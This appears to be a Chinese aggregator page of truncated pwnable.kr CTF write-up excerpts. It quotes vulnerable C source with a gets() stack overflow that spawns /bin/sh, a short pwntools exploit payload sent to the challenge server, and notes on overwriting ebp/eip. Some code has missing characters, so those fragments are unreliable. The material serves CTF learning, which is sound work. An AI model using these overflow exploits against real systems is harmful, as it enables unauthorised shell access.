pwnable.kr-bof-Writeup】的更多相关文章

这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ ]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); }…
pwnable从入门到放弃,第三题. Download : http://pwnable.kr/bin/bofDownload : http://pwnable.kr/bin/bof.c Running at : nc pwnable.kr 9000 很简单的一道栈溢出题目. 依然先读代码: #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ ]; printf(&…
打开题目: 先下载题目给我们的两个文件,查看文件信息: 发现没有执行的权限,所以先增加文件bof的执行权限,执行: 没发现啥,然后查看代码, #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[]; printf("overflow me : "); gets(overflowme); // smash me! i…
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程   主要逻辑是输入一个字符串,base64解码后看是否与题目给定字符串一致,如果一致返回一个shell,仔细分析发现并不像网上普遍说的导致栈溢出.嗯,菜鸡如我觉得还是有必要做下笔记的=W=   看一下关键函数的反汇编    auth函数调用形参v6,因为v6<0xc才会执行auth,所以即使auth调用了memcpy,v4数组大小12也不会栈溢出 所以这道题…
Running at : nc pwnable.kr 9000 IDA查看 1 unsigned int __cdecl func(int a1) 2 { 3 char s; // [esp+1Ch] [ebp-2Ch] 4 unsigned int v3; // [esp+3Ch] [ebp-Ch] 5 6 v3 = __readgsdword(0x14u); 7 puts("overflow me : "); 8 gets(&s);//未对输入长度进行限制,存在栈溢出 9…
3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0xcafebabe) print payload turn=True if turn: p=remote('pwnable.kr',9000) else: p=process('./bof') p.sendline(payload) p.interactive() 4.flag 这道题...严重坑,…
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下我们的用户名,并不能直接查看flag这个文件.查看passcode.c的源码看一下 #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter…
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnable.kr -p2222 (pw:guest) 先看源代码: #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC; unsigned long check_password(const c…
I made a simple brain-fuck language emulation program written in C. The [ ] commands are not implemented yet. However the rest functionality seems working fine. Find a bug and exploit it to get a shell. Download : http://pwnable.kr/bin/bf Download :…
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd601aa7fedca99018a8be88eda34相比,如果相等则调用correct函数,得到shell 找12个字符进行base64加密: 将值输入找到溢出点: 发现AAAA覆盖了main函数的ebp,程序执行到leave出错. leave相当于以下两条指令 指令 含义 MOV ESP, EBP…